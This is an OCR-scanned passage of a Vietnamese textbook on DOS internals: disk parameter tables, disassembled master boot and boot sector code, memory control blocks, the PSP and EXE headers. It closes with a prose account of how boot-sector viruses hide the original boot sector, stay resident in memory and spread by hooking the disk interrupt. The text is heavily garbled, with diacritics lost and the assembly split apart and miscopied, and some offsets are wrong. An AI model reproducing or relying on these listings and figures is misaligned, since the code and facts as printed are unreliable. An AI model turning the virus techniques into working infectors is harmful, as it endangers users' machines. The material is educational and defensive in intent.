dx ; Lay word du trén Stack

.............. ; Doan ma xur 1y 16i doc dia (ma 16i

............... ; Doan ma ti€p tuc néu khong cd 16i.

Mitc DOS ¢6 mot tdc vu ly tha dé cé duoc cac thong tin trong
bang tham sd dia. Diéu nay cé ich cho céc lap trinh vién hé thong
vi hai ly do: Tha nhit, viéc tinh todn dua trén thong tin cua phan
BPB trong Boot Record c6 nhi€u phic tap. Thi hai 1a biét dau
thong tin trong Boot Record lai bi hong thi tic vu nay la tic vu
giup lap trinh vién c6 duoc cac thong tin hé thong dé. Tac vu nay
1a chdc nang 32h cta ngat 21h. Trude day, chic nang nay khong
dugc chinh thic cong bo, nhung bat ddu tixr DOS 5.0 trd di, chiic
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nang nay da dugc chinh thiic cong bo. D6 1a chic nang 32h cta
ngat 21h ctia DOS.

Vao:
AH = 32h
DL = dia (0- 6 dia ngdm dinh, 1- 6 dia A, 2- 6 dia B, 3- 6
dia C,...)
Goi ngat 21h
Ra:
AL =0 néu dia hop 1¢&
= OFFh néu dia khong hop 1¢

DS:BX tro t6i bang tham s6 dia ctia dia dugc chi dinh.

Cau tric cua bang tham so dia nay nhu sau:

Offse | Siz Noi1 dung
t €

+0 1 |So6 hi¢u dia (0=A, 1=B, 2=C,...)

+1 1 |S6 hiéu don vi con do trinh diéu khién thiét bi
quan ly

+2 2 | So byte trong mdt Sector

+4 1 | So6 Sector trong mot Cluster - 1

+5 1 |Luy thtra 2 cao nhit cua s6 Sector trén mot
Cluster.
+6 2 | So Sector danh riéng (cho Boot Record)
+8 1 |S6 bang FAT
+9 | 2 |S6 diém vao (entry) t6i da trong thu muc g6c
+0Bh | 2 |S6 hiéu cua Sector diu tién trong Cluster 2 (la

Cluster dau tién chira dit liéu)
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+0Dh | 2 |So hiéu Cluster cudi cuing (bang tong s6 Cluster +
2)

+0Fh | 2 | S6 Sector trong mot bang FAT (tir DOS 4.0 truong
nay chiém 2 byte, con doi véi DOS 3. truong nay
chi chiém 1 byte)

+11h | 2 |S6 hiéu Sector dau tién trong thu muc géc
+13h | 4 |Con tr6 t6i Header cua trinh diéu khién thiét bi
Offse | Siz Noi1 dung

+17h | 1 |Byte ID, dac trung cho khuon dang dia

+18h | 1 |CoO truy nhap (0=da truy nhap, FF= chua truy
nhap)

+19h | 4 |Con tro t6i bang thong tin dia ké ti€p (néu la
FFFFh thi da dén bang cubi cliing)

+1Dh | 2 | Cluster bit dau cho viéc tim vang trong dé ghi lén
dia

+1Fh | 2 |S6 ciac Cluster con trong trén dia, OFFFFh Ia
khong biét

4. Phan tich cac doan ma trong Master Boot va Boot Record.

a. Poan ma trong Master Boot.

Nhu chiing ta da biét, sau qué trinh POST, Master Boot duoc
doc vao 0:7C00h va quyén diéu khién dugc trao cho doan ma
trong Master Boot nay.

Cong viéc chinh cua doan ma trong bang Partition (Master
Boot) gdom:
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- Chuyén chinh chuong trinh cta minh di chd khac dé don
cho cho viéc tai Boot Record ctia Active Partition vao.

- Kiém tra dau hiéu nhan dién Boot Record bing mot gid tri
word tai 1BEh (n€u la Boot Record, gia tri nay 1a 0AAS55h)

- Cung cap bang tham so6 ctia Entry tuong tng vao 0:7BE

- Chuyén quyén diéu khién cho Boot Record vira doc.

Sau day la doan chuong trinh dugc dich nguogc thanh
assembler ciia doan ma trong bang Partition.

org 7C00h

Begin:

chi
XOr
mov
mov
mov
push
pop
push
pop
sti

0:600h

doc vao
cld
mov
mov
repne

; Khoi tao Stack

ax,ax
$S,ax
sp,7C0O0h
S1,Sp

ax

es

ax
ds

; Chuyén chinh chuong trinh clia minh sang

: dé chod cho Boot Record cuia Active Partition

di,600h
cx,100h
movsw
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jmp 0:061Dh ; Chuyén quyén diéu khién sang

vung mdéi

mov si,7BEh ; Tro SI t6i bang phan chuong

mov bl,4 : Kiém tra xem Partition ndo 12 Active
Check:

cmp byte ptr [si],80h  ; Kiém tra Boot_flag

je Check_Partition ; Néu la Active, nhay t6i

phan

: kiém tra Partition

cmp byte ptr [si],0 ; Partition c6 hop 1€ khong

jne Invalid ; Khong hop 1é

add si,10h ; Van hop 1¢, kiém tra tié€p

dec bl ; Partition ké tiép

jne Check ; Néu khong c6 Parition nao thoa

int 18h  ; thi chuyén sang ROM BASIC.
Check_partition:

mov dx,word ptr [si] ; Dua gia tri dinh vi Boot

Sector

mov cx,word ptr [si+2] ; DH=Head, CX=Cyl-Sec

mov bp,si

Next_Partition:
; D€ dam bao tinh hop 1€, cdc Partition con lai
; phai khong dugc 1a Active

add s1,10h
dec bl
je Load_System ; Néu hop 1¢ s€ tai hé
thong vao
cmp byte ptr [si],0
je Next_Partition
Invalid:
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mov s1,OFFSET Errorl_mess ; Khong hop 1€,
sai
Next_char:
lodsb
cmp al,0
je _Loop
push sl
mov bx,7
mov ah,0Eh
nt 10h
pop sl
jmp Next_char
_Loop:
jmp _Loop
Load_System:
mov di,5 : S& doc lai 5 14n néu co 16i
Try:
mov bx,7C00h
ax 0201h
push di
int 13h
pop di
jae Load_ok
XOr ax,ax
nt 13h ; Reset dia
dec di
jne Try
mov s1,OFFSET Error2_mess
jmp Next_char
Load_ok:
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mov s1,OFFSET Error3_mess

mov di,7DFEh

cmp word ptr [di],0AA55h ; Kiém tra tinh hop 1é
cua Boot

jne Next_char

mov s1,bp

jmp 0:7C0O0h

Errorl _mess db 'Invalid Partition table',0
Error2_mess db 'Error loading operating system',0
Error3_mess db 'Missing operating system',0

b. Doan mad trong Boot Record.

Doan mi trong Boot Record nhim thuc hién cdc nhiém vu
sau day:
- Khoi tao ngat 1Eh bang bang tham so trong Boot
Sector.
- Dinh vi cdc phan trén dia bang bang tham s6 BPB.
- Poc Root vao va kiém tra su ton tai cua 2 file hé thong.
- Néu ¢, tai hai file nay vao va trao quyén diéu khién.
Sau day la doan ma cta Boot Sector trén 6 dia cung, dugc
FORMAT béi DOS Version 6.20.

Boot proc
org 7C00h
start:
jmp short Begin
Nop
OEM db 'MSDOS5.0'
SectorSize dw 0200h ; 512 byte/Sector
ClusterSize db 10h ; 16 Sector/Cluster
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ResevedSec dw 0001h ;1 Sector danh riéng
FATCnt db02h ; S6 bang FAT 1a 2
RootSize dw 0200h ; S6 dau vao t6i da trong Root 1a

512

TotalSec dw 0000h ; S6 luong Sector trén dia vugt qua
32M

Media db F8 ; Dia cung

FatSize ~ dw 0081h ; 129 sector cho bang FAT
TrackSect dw 0028h ; S6 luong Sector/Track 1a 40
HeadCnt dw O0OOEh ; S6 luong dau tir 1a 14

HiddenSec ddw 00000028h  ; SO luong
Sector dau mat 1a 40

TotalSec ddw 00080EA8  ; Téng s6 Sector trén dia >

32M

IDDisk  db80h ; Pia chi vat 1y 6 dia ctng 1
Reseved db 00 ; Du trit ghi 00

Item db 29h

SerialNum db OFD100000 ; Serial Number
cua dia

VolumelLabel db 'NO NAME '
FATType db 'FATI6'

Begin:
chi ; Disable interrupts
Xor ax,ax ; Zero register
mov SS,ax
mov sp,7CO0h
push SS
pop es
mov bx,78h
1ds si,dword ptr ss:[bx] ; DS:SI tro t6i bang tham
sO dia
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push
push
push
push
mov
mov
cld
rep
push
pop
mov
mov
mov
mov
mov
sti
int
jc
XOr
cmp
je
mov
mov
loc_3:
mov
mul
add
adc
add
adc

ds
si
SS
bx
di,7C3Eh
cx,0Bh

; Clear direction
movsb ; Rep when cx >0 Mov [si] to es:[di]
es
ds
byte ptr [di-2],0Fh
cx,ds:7C18h
[di-7],cl
[bx+2],ax
word ptr [bx],7C3Eh

; Enable interrupts
13h ; Reset disk, al=return status
Errorl ; Jump if carry Set
ax,ax ; Zero register
ds:[7C13h],ax
loc_3 ; Jump if equal
cx,ds:[7C13h]
ds:[7C20h],cx

al,ds:[7C10h]
word ptr ds:[7C16]
ax,ds:[7C1Ch]
dx,ds:[7C1Eh]
ax,ds:[7COEh]
dx,0

34/233



www.nhipsongcongnghe.net

mov
mov
mov
mov
mov
mul
mov
add
dec
div
add
adc
mov
mov
mov
call
jc
mov
call
jc
mov
mov
mov
repe
jnz
lea
mov
repe
jz

loc_4:

ds:[7C50h],ax

ds:[7C52h],dx

ds:[7C49h],ax

ds:[7C4Bh],dx

ax,20h

word ptr ds:[7C11h]
bx,ds:[7COBh]

ax,bx

ax

bx ; ax,dx rem=dx:ax/reg
ds:[7C49h],ax

word ptr ds:[7C4Bh],0

bx,500h

dx,ds:[7C52h]

ax,ds:[7C50h]

sub_2

loc_4 ; Jump if carry Set

al,1

sub_3

loc_4 ; Jump if carry Set

di,bx

c¢x,0Bh

si,data_25e

cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
loc_4 ; Jump if not zero
di,[bx+20h] ; Load effective addr
cx,0Bh

cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
loc_6 ; Jump if zero
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mov s1,[ 7D9Eh]
call sub_1
Xor ax,ax ; Zero register
nt 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
pop sl
pop ds
pop word ptr [si]
pop word ptr [si+2]
int " 19h ; Bootstrap loader
loc_5:
pop ax
pop ax
pop ax
jmp short loc_4
loc_6:
mov ax,[bx+1Ah]
dec ax
dec ax
mov bl,ds:[7CODh]
XOr bh,bh ; Zero register
mul bx ; dx:ax =reg * ax
add ax,ds:[7C49h]
adc dx,ds:[7C4Dh]
mov bx,700h
mov cX,3
locloop_7:
push ax
push dx
push CX
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call sub_2

jc loc_S ; Jump if carry Set
mov al,1

call sub_3

pop cX

pop dx

pop ax

jc loc_4 ; Jump if carry Set
add ax, 1

adc dx,0

add bx,ds:[7COBh]

loop locloop_7  ; Loopifcx>0

mov ch,ds:[7C15h]
mov dl,ds:[7C24h]
mov bx,ds:[7C49h]

mov ax,ds:[7C4Bh]
jmp far ptr 0070h:0000h
Boot endp
sub_1 proc near
loc_8:
lodsb ; String [si] to al
or al,al : Zero ?
jz loc_ret_10 ; Jump if zero
mov ah,0Eh
mov bx,7
int 10h ; Video display ah=function OEh
; write char al, teletype mode
jmp short loc_8
sub_2:

cmp dx,ds:[7C18h]
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jae loc_9 ; Jump if above or =
div word ptr ds:[7C18h] ;
ax,dxrem=dx:ax/dat
Inc dl
mov ds:[7C4Fh],dl
XOr dx,dx ; Zero register
div word ptr ds:[7C1Ah] ;
ax,dxrem=dx:ax/dat
mov ds:[7C25h],dl
mov ds:[7C4Dh],ax
cle ; Clear carry flag
retn
loc_9:
stc ; Set carry flag
loc_ret_10:
retn
sub_1 endp
sub_3 proc near
mov ah,2
mov dx,ds:[7C4Dh]
mov cl,6
shl dh,cl ; Shift w/zeros fill
or dh,ds:[7C4Fh]
mov cx,dx
xchg ch,cl
mov dl,ds:[7C24h]
mov dh,ds:[7C25h]
int 13h
retn
sub_3 endp
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Mess1 db ODh,0Ah, 'Non-System disk or disk error'

Mess2 db ODh,0Ah,'Replace and press any key when
ready',0Dh,0Ah

File_Sys1 db 'TO SYS'

File_Sys2 db 'MSDOS SYS'

ID_BOOT db 55h,0AAh
end start

III. QUAN LY VUNG NHO VA TO CHUC, THI HANH
FILE DUOI DOS.

1. So do vang nhé dudi DOS.

Vung RAM nim trong quyén diéu khién cua DOS duoc chia
thanh hai phan chinh:

- Phan hé diéu hanh:

Bat dau tir dia chi thdp nhat 00000, nghia 1a n6 bao gém ca
bang vector ngat, hé diéu hanh (bao gém cic file hé thong
[I0.SYS, MSDOS.SYS, cac device driver dugc khai bdo trong
config.sys va phan thuong tri cata COMMAND.COM.

Phan viing nhéG cta hé diéu hanh nay c6 kich thuéc thay doi
tuy theo Version va tuy theo so lugng cac Device Driver.

- Phan chuong trinh tam thoi:

Phan nhG nay con dugc goi 1a ving nhG hoat dong, 1a ving
nhé ngay sau ving hé diéu hanh va dat dén dia chi cao nhat c6
thé. Vung nhd nay dugc t6 chitc thanh cdc khoéi tao thanh chudi.
Cac file duogc tai 1én va thi hanh trong ving nhé nay, cho nén
vung nhé nay chi mang tinh tam thoi.

So d6 sau tom tat cdu tric viing nhg:

‘ Dia chi ‘ Mo ta chic nang ving nhé
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0000:000
0

0040:000
0

0050:000
0

xxxx:000
0

xxxx:000
0

xxxx:000
0

xxxx:000
0

xxxx:000
0

xxxx:000
0

xxxx:000
0

A000:000
0

B000:000
0

Bang vector ngat: 256 * 4 byte.
Vung dit liéu cia ROM BIOS.

Vung di liéu cua DOS.

Poan ma BIOS & mic thap cta DOS.
Bo xtr 1y ngat ctia DOS (Int 21h)

Buffer DOS, cac vung dur liéu, cac bo DKTB da
cai dat

Phan thuong trd caa COMMAND.COM (khoang
4K) gébm cédc bo xtr 1y ngat Int 22h, Int 23h, Int
24h.

Dt liéu va cac chuong trinh thuong tri (TSR).
Chuong trinh tng dung hién dang thuc hién.

Phan tam trd cta COMMAND.COM bao gom bo
thong dich 1énh, cdc 1énh noi trd,... Phan nay sé
duoc nap lai néu cé chuong trinh nao ghi 1én ving
nay.

Viung nhé EGA-VGA cho mot s6 Mode man hinh
nhat dinh.

Ving nhé cho bo diéu hop man hinh don sac.
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B800:000 | Vung nhé man hinh CGA.
0

C800:000 | Bat d4u tir day 1a ving nhé ROM (ngoai tri va noi
0 tra)
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2. Mot s6 chiic ndng lién quan dén viing nho cua DOS.
a. Cdp phdt viing nho.
Vao:
AH =48h
BX = Kich thudc ving nhG can cdp phat (tinh theo
paragraph).
Goi Int 21h
Ra:

Néu CF = 1, thi AX chita ma 16i va BX 1a s6 viing nhé t6i
da con lai con dung duoc. Ngugc lai, néu CF = 0 thi
viéc cdp phat thanh cong va AX chinh la segment
ctia ving nhé ma DOS da cap phat theo yéu cau.

b. Gidi phong viing nho.

Chtic nang nay dung dé yéu cau DOS giai phong ving nhé da
cap phat truéc day ma bay gio khong con s dung dén ching. Khi
cham dut mot chuong trinh do DOS tai va thi hanh, quyén diéu
khién dugc tra lai cho DOS, khi d6 chinh DOS ciing ding chitc
ning nay dé giai phéng ving nhé truéc day da cdp phdt cho
chuong trinh.

Vao:

AH =49%h
ES = Segment cua ving nhé can giai phong
Ra:
Neéu co CF = 1 1a ¢6 16i, khi d6 AX chita ma 16i.
c. Diéu chinh kich thudc viing nho.
Vao:
AH =4Ah
ES = Segment ctia khoi viing nhé can di€u chinh
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BX = Kich thudc yéu cau diéu chinh

Ra:

AX 1a ma 16i néu c¢o CF =1, lic d6 BX la khai 16n nhat
con dung dugc.
3. Cdu triic ctia MCB (Memory Control Block).

Nhu chiing ta da n6i & trén, phan ving nhé tam thoi duge chia
thanh cdc khdi tao thanh chudi, moi khéi duoc quan 1y bang mot cau
tric dau khoi goi 1a MCB.

MCB c6 kich thudc 16 byte, dat ngay & dau ving nhé ma né
quan ly, cau tric cua MCB nhu sau:

Offse | Siz | Item No1 dung
t e
+0 1 ID | Byte nhan dién loai chia MCB
+1 2 PSP | PSP cua MCB.
+3 2 Size |Kich thudc vuing nhé ma MCB quan
ly.
+5 | OB | Resev | Danh riéng
h ed
+10h Khéi viing nhd bat dau tir day va cham
dut 6 byte (Size*10h) tinh tir day.

Gia tri ctia cac truong trong cau tric trén ¢6 y nghia nhu sau:

- ID: La byte nhan dién xem MCB nay c6 phai 1a MCB cuo6i
cung cua chudi hay chua. néu chua la cudi chudi, byte nay cé gia
tr1 4Dh, nguoc lai s€ co gia tri SAh.

- PSP: Cho biét ving nhé do MCB nay quan 1y hién con trong
hay dang duoc dung cho chuong trinh nao. Néu gia tri 1a O thi
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chua c6 chuong trinh nao st dung, nguoc lai noc la gia tri PSP cta
chuong trinh da xin cip phat ving nhé nay. Can ct vao gia tri
trong PSP ma DOS biét dugc ving nhé nao la cua chuong trinh
vira cham dit dé giai phéng viing nhé do.

- Size: La kich thuéc theo doan cua khoi ving nhé ma MCB

quan ly.

Dé xac dinh duoc MCB dau tién, dung chic nang 52h cua
ngat 21h. Sau khi thuc hién chic nang nay, ES:BX tro t6i khoi
tham bién cua DOS ma trudc d6 2 byte (¢ ES:[BX-2]) la gia tri
segment cia MCB dau tién. Cac MCB tiép theo sé duoc tinh bang
cach cong kich thudc ctia khoi MCB trude né véi 1.

Doan chuong trinh sau minh hoa ciach duyét qua caic MCB:

mov
int
sub
mov
mov

Next:
mov
cmp
je
mov
mov
call
mov
mov
add
Inc
mov

ah,52h

21h

bx,2

ax,word ptr es:[bx]

es,ax ;es = doan cua MCB dau tién

al,byte ptr es:[0] ; Lay ID cua MCB
al,5Ah ; La phan tlr cu6i?
OK ; dung, két thic
bx,word ptr es:[1] ; bx = PSP
ax,word ptr es:[3] ; ax = Size
Print. MCB

dx,ax

ax,es

ax,dx

ax

es,ax
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jmp Next

OK:
call Print. MCB
int 20h

4. Quadn Iy va to chirc thi hanh File duéi DOS.

a. Phan loai File.
File 1a mot cach t6 chiic dit liéu trén dia d€ DOS quan ly. Can
ct vao muc dich va noi dung, File dugc phan ra thanh hai loai
chinh:

- File dir liéu: Dung dé chia thong tin vé mot doi tuong. Dit
lieu c6 thé & dang Text hodc dang nhi phan. Dé truy xuat cic
thong tin nhu vay can ¢6 cac chuong trinh thi hanh dugc truy xuét
dén né.

- File thi hanh: Noi dung cua nd la tap ma Iénh may nham thi
hanh mot nhiém vu nao dé. Khi thi hanh, danh tén chuong trinh
tai dau doi Iénh cta DOS, hoac dung chiic nang 4Bh cua Int 21h.
File thi hanh c6 duo6i .COM hoac .EXE

b. Cdch to6 chitc thi hanh File khd thi ciia DOS.
Pé t6 chiic thi hanh mot File kha thi, DOS tién hanh cic budc
sau day:

- DOS tién hanh chon moét segment, dia chi segment nay
thuong 1a dia chi thap nhat con dung dugc. Segment dugc chon
goi 1a PSP (Program Segment Prefix), 1a co s& d€ tai chuong trinh
Vao.

- DOS tao ra ban sao méi truong ctia DOS cho chuong trinh
duoc nap.
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- DOS dién vao PSP nhiing ndi dung can thiét nhu: tong s6
vung nhé con lai, dia chi Segment clia moi truong, 2 FCB, tham
s6 dong 1énh va DTA, noi dung hién thoi clia cdc ngat 22h, 23h,
24h.

- Tao DTA ngam dinh tai PSP:80h

- Poc 1Ch byte ddu cua file vao dé xac dinh xem file thuodc
loai COM/EXE. Dau hiéu dé nhan dang file .EXE 12 gid tri cla
hai byte ddu tién 1a 4D5Ah hay 5A4Dh. Tuy theo loai file, t6 chiic
thi hanh file s€ duoc thuc hién tuong tng.

c. PSP (Program Segment Prefix).

Nhu ching ta da néi & trén, PSP la cau tric do DOS tao ra

trudce khi tai file can thi hanh vao viing nhé.

CAu trac PSP gom 256 byte (100h), mo ta v€ cau tric nay nhu

sau:
Offse | Siz Item No1 dung
t e
+0 | 2 | Int20h |Ngat chdm dit chuong trinh
+2 | 2 | MemTop | Segment ving nhé k& con dung duoc
+4 1 | Reseved | Danh riéng, thuong 1a O
+5 5 CALL |Lénh goi dén trinh diéu phoi ham cla
offset | DOS
seg
+0Ah | 4 Dia chi két thiic chuong trinh (Int 22h)
+0Eh | 4 Dia chi xtr 1y CtrlfBreak (Int 23h)
+12h | 4 Dia chi xtt ly 16i nghiém trong (Int
24h)

46/233



www.nhipsongcongnghe.net

+16h
+2Ch

+2Eh

+55h
+5Ch
+65h
+6Ch
+80h

+81h

+80h

16h
2

2E

20

127

128

Reseved

Reseved

Vung danh riéng cho DOS

Dia chi doan cdc xau moi truong cua
DOS

Vung danh riéng cho DOS

FCB m6 rong 1
FCB 1
FCB m& rong 2
FCB 2

Chiéu dai tham s6 nhap tir dau nhéc
cua DOS

Céic tham sO nhap tir ddu nhic cua
DOS

Vung DTA maéc dinh

d. Thi hanh file . COM

Sau khi nhan dién file dang .COM, file duogc tai ngay vao sau
PSP ma khong can dinh vi lai, do d6 kich thuéc cua né bi gidi han
trong mot phan doan 64K. DOS tién hanh thi hanh file .COM nhu

Sau:

- T4t ca céac thanh ghi doan CS, DS, SS, ES déu tro tGi PSP.

- SP dugc dinh vi dé tr6 t6i cudi segment PSP.

- T4t ca moi ving nhé déu dugce phan phoi cho chuong trinh.
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- Mot gid tri 0 dugc ddy vao stack, diéu ndy dam bao su két
thic chiac chan cua chuong trinh néu c6i chuong trinh 1a 1énh
RET thay cho Iénh Int 20h.

- Trao quyén diéu khién cho chuong trinh (CS:IP) ngay tai
dau vao PSP:100h.

e. Thi hanh file EXE.

Khac véi file .COM, file .EXE khong bi gi6i han trong mot
phan doan ma c6 thé mo rong trong nhiéu phan doan. Vi vay, khi
dugc nap vao vung nhd, né phai dugc dinh vi lai (Reallocate) theo
cac tham s6 trong mot cdu tric dau file dugc goi la Exe Header.
Cau tric nay nhu sau:

Offse | Siz | Item No6i dung
t €

+0 2 | 4D5Ah | Ky hiéu nhan dang file .EXE

+2 2 | PartPag | Chiéu dai cua phan trang cudi

+4 2 | PageCn | So trang (512 byte/trang) ké ca Header

t
+6 2 | ReloCnt | S6 muc trong bang tai dinh vi
+8 2 | HdrSize |Kich thuéc cua Header (theo

paragraph)

+0Ah| 2 | MinMe | Ving nhd t6i thiéu can trén chuong
m trinh (theo paragraph)

+0Ch | 2 | MaxMe | Vung nhé t6i da can trén chuong trinh
m (theo paragraph)

+0Eh | 2 | ReloSS | Gid tri dé khdi tao SS
+10h | 2 | ExeSP |Gid tri cia thanh ghi SP khi bat dau.
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+12h | 2 | ChkSu |File CheckSum

m
Offse | Siz | Item No6i dung
t €
+14h | 2 | ExelP |Gid tri cua thanh ghi IP khi bat dau.
+16h | 2 | ReloCS | Gi4 tri dé khdi tao CS
+18h | 2 | TablOff | File-Offset cua Item dau tién
+1Ah| 2 | Overlay | S6 Overlay (0 cho module co s6)

Sau khi DOS da x4ac dinh file can thi hanh la file dang .EXE,
no s€ tién hanh ti€p cac budc nhu sau:

- Can ct vao thong tin trén 1Ch byte diu tién, xac dinh
module phai tai vao. Module 1a phan chuong trinh thuc t&€, khong
tinh phan Exe Header, trong thuc t€, phan nay chinh bang kich
thuéc cua file trir di kich thuéc cta Exe Header. Nhu vay, di€ém
bat ddu tai cta module 1a ngay sau Exe Header (kich thuéc
Header * 10h), modul duoc tai vao dia chi START_SEG: 0000,
trong d6 START_SEG = PSP + 10h.

- Pat con tro file dén di€ém vao cta bang tai dinh vi, tng véi
moi muc (Item) cua bang nay, tién hanh cic budc dinh vi lai nhu
sau:

+ Doc Item nay vao 2 tu 16 bit (I_OFF va I_SEG)

+ Xac dinh phan doan RELO_SEG = START_SEG +
I SEG

+ Doc gia tri tai RELO_SEG:I_OFF

+ Dinh vi lai bang cach cong gia tri vira ¢d duoc véi
START_SEG
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+ Tra lai gid tri da dugc dinh vi lai vao chd ci
RELO_SEG:I_OFF
- Sau khi tai dinh vi xong, DOS phan phéi ving nhé cho
chuong trinh tuong tng v6i viing nhé t6i da va t6i thiéu trong Exe
Header.
- Khoi tao gia tri cac thanh ghi:
+ DS va ES duoc tro t6i PSP
+ Khoi tao Stack nhu sau:
SS = ReloSS + START_SEG
SP = ExeSP
+ Dau vao ctia chuong trinh:
CS = START_SEG + ReloCS
IP = ExelP

- Trao quyén diéu khién cho file.

IV. CAC PAC PIEM CUA B-VIRUS.

Qua chuong trudc, ching ta da dua ra cac thong tin hét stc co
ban vé cau tric dia, tién trinh khdi dong va céach thic t6 chic
viing nhd, t6 chiic thi hanh file cua DOS. Nhiing thong tin dé gidp
ching ta tim hiéu nhitng dic di€m co ban cua virus, tir d6 dua ra
cach phong chong, chita tri trong truong hop may bi nhiém virus.

1. Phdn loai B-virus.

Nhu chiing ta da biét, sau qua trinh POST, sector dau tién trén
dia A hoac dia C duoc doc vao viing nhé tai 0: 7C00, va quyén
diéu khién dugc trao cho doan ma trong sector khéi dong nay. B-
virus hoat dong bang cdch thay th€ doan ma chuin trong sector
khoi dong nay bing doan ma cua né dé chi€ém quyén diéu khién,
sau khi da cai dat xong méi doc sector khdi dong chudn duoc
virus cat gitt & dau d6 vao 0:7C00 va tra lai quyén diéu khién cho
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doan ma chudn nay. Viéc cat giit sector khoi dong tai vi tri nao
trén dia tuy thuoc loai dia va cach giai quyét cua ting loai virus.
boi véi dia cing, thong thuong né duoc cat gitt ¢ dau do trong
Side 0, Cylinder O vi trong ca track nay, DOS chi sit dung sector
dau tién cho bang Partition. Trén dia mém, vi tri cat giit s& phic
tap hon vi moi chd déu c¢6 kha nang bi ghi d¢ thong tin. Mot s
huéng sau day da dugc cac virus ap dung:

+ Str dung sector & cudi Root Directory, vi né thuong it duoc
st dung.

+ Sir dung céc sector cudi cung trén dia, vi khi phan bo ving
trong cho file, DOS tim ving trong tit nho dén 16n cho nén
vung nay thuong it dugc st dung.

+ Ghi vao vung trong trén dia, danh diu trong bang FAT
viing nay 1a viing bi hong d€ DOS khong str dung cép phat
nita. Ccdh lam nay an toan hon cic cach lam trén day.

+ Format thém track va ghi vao track vira duoc Format thém.
Tuy thuoc vao do 16n ctia doan ma virus ma B-virus duoc
chia thanh hai loai:
a. SB-virus.

Chuong trinh ctia SB-virus chi chi€ém ding mot sector khoi
dong, cac tac vu ctia SB-virus khong nhi€u va tuong do6i don gian.
Hién nay s cac virus loai nay thuong it gap va cé 1€ chi la cac
virus do trong nudc "san xuat".

b. DB-virus.
Pay la nhiing loai virus ma doan ma ctua né I6n hon 512 byte
(thuong thay).

Vi thé ma chuong trinh virus dugc chia thanh hai phan:
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- Phan d4u virus: Puoc cai dat trong sector khdi dong dé
chiém quyén diéu hién khi quyén diéu khién dugc trao cho sector
khaoi dong nay. Nhiém vu duy nhat ctia phan dau la: tai ti€p phan
than cta virus vao ving nhé va trao quyén diéu khién cho phéan
than d6. Vi nhiém vu don gian nhu vay nén phan dau cta virus
thudng rit ngan, va cang ngan cang tot vi cang ngan thi su khac
biét giita sector khdi dong chuén va sector khdi dong da bi nhiém
virus cang it, giam kha nang bi nghi ngo.

- Phan than virus: La phan chuong trinh chinh cta virus. Sau
khi dugc phan dau tai vao ving nhé va trao quyén, phan than nay
s€ tién hanh cdc tac vu cua minh, sau khi ti€n hanh xong méi doc
sector khdi dong chudn vao ving nhé va trao quyén cho né dé
may tinh lam viéc mot cach binh thuong nhu chua c6 gi xay ra ca.

2. Mot 56 ky thudt co ban cua B-virus.

Du 1a SB-virus hay DB-virus, nhung dé ton tai va lay lan,

chiing déu c6 mot s6 cac ky thuat co ban nhu sau:
a. Ky thudt kiém tra tinh duy nhat.

Virus phai ton tai trong bo nhé cling nhu trén dia, song su ton
tai qua nhi€u ban sao cta chinh nd trén dia va trong bo nhd s€ chi
lam cham qua trinh Boot mdy, cling nhu chi€ém qua nhiéu ving
nhé anh hudng téi viéc tai va thi hanh cac chuong trinh khac dong
thoi cling lam giam toc do truy xuat dia. Chinh vi thé, k¥ thuat
nay 1a mot yéu cau nghiém ngat véi B-virus.

Viéc ki€m tra trén dia c¢6 hai yéu t6 anh hudng:

Thit nhat 12 thoi gian kiém tra:

Néu moi tdc vu doc/ghi dia déu phai kiém tra dia thi thoi gian

truy xuat sé€ bi tang gdp doi, lam giam toc do truy xuat cling nhu
gia tang moi nghi ngo.
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Daoi v6i yéu cau nay, cac virus ap dung mot so ky thuat sau:
Giam s6 1an kiém tra bang cdch chi kiém tra trong trudng hop
thay déi truy xuat tir 6 dia ndy sang 6 dia khéc, chi ki€ém tra trong
truong hop bang FAT trén dia dugc doc vao.

Thit hai 12 k§ thuat kiém tra:

Hau hét cac virus déu kiém tra bang gia tri tir khod. M6 virus
s€ tao cho minh mot gia tri dac biét tai mot vi tri xac dinh trén dia,
viéc ki€ém tra dugc tién hanh bang céch doc Boot record va ki€ém
tra gia tri cua tr khoa nay. Ky thuat nay gap tré ngai vi s6 luong
B-virus ngay mot dong dao, ma vi tri trén Boot Record thi cé han.
Céch khac phuc hién nay cua céc virus 1a ting s6 lugng ma 1énh
can so sanh dé lam giam kha nang tring hop ngiu nhién.

Pé kiém tra su ton tai clia minh trong bo nhd, cac virus da ap
dung céc k¥ thuat sau: Don gian nhat 12 kiém tra gia tri Key value
tai mot vi tri xac dinh trén vung nhd cao, ngoai ra mot k§ thuat
khdc duoc dp dung doi véi cdc virus chiém ngat Int 21 ctia DOS 1a
yéu cau thuc hién mot chic nang diac biét khong cé trong ngat
nay. Néu co bdo 16i duoc bat 1én thi trong bd nhé chua cé virus,
nguoc lai néu virus da Iuu trd trong vung nhé thi gia tri tra lai
(trong thanh ghi AX chang han) 12 mot gid tri xdc dinh nao dé.

b. Ky thudt luu tru.

Sau khi thuc hién xong chuong trinh POST, gid tri tong so
vung nhé vira dugc Test s€ duoc luu vao ving BIOS Data & dia chi
0:413h. Khi hé diéu hanh nhan quyén diéu khién, né s& coi ving
nhd ma né ki€ém sodt 1a gia tri trong dia chi ndy. Vi vay dé luu trd,
moi B-virus déu dp dung k¥ thuat sau day: Sau khi tai phan luu tri
ciia minh Ién viing nhé cao, nd s€ giam gia tri vuing nhg do DOS
quan ly tai 0:413h di mot luong ding bang kich thudc cua virus.
Tuy nhién néu khong ki€m tra t6t su ¢6 mat trong ving nhd, khi
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bi Boot mém lién tuc, gid tri tong s6 vung nhd nay s& bi giam
nhi€u 1an, anh hudng tGi viéc thuc hién cua cic chuong trinh sau
nay. Chinh vi thé, cdc virus dugc thi€t k€ t6t phai kiém tra su ton
tai cia minh trong bo nhé, néu da c6 mat trong bd nhé thi khong
giam dung luong vung nhé nita.

c. Ky thudt lay lan.

Poan ma thuc hién nhiém vu lay lan la doan ma quan trong
trong chuong trinh virus. Dé dam bao viéc lay lan, virus khong
ché€ ngat quan trong nhét trong viéc doc/ghi viing hé thong: do la
ngat 13h, tuy nhién dé dam bao toc do truy xuat dia, chi cdc chitc
nang 2 va 3 (doc/ghi) 1a dan tGi viéc lay lan. Viéc lay lan bang
cach doc Boot Sector (Master Boot) 1én va kiém tra xem da bi lay
chua (k§ thuat ki€ém tra da néi & trén). Néu sector khéi dong do
chua bi nhiém thi virus s€ tao mot sector khéi dong méi véi cac
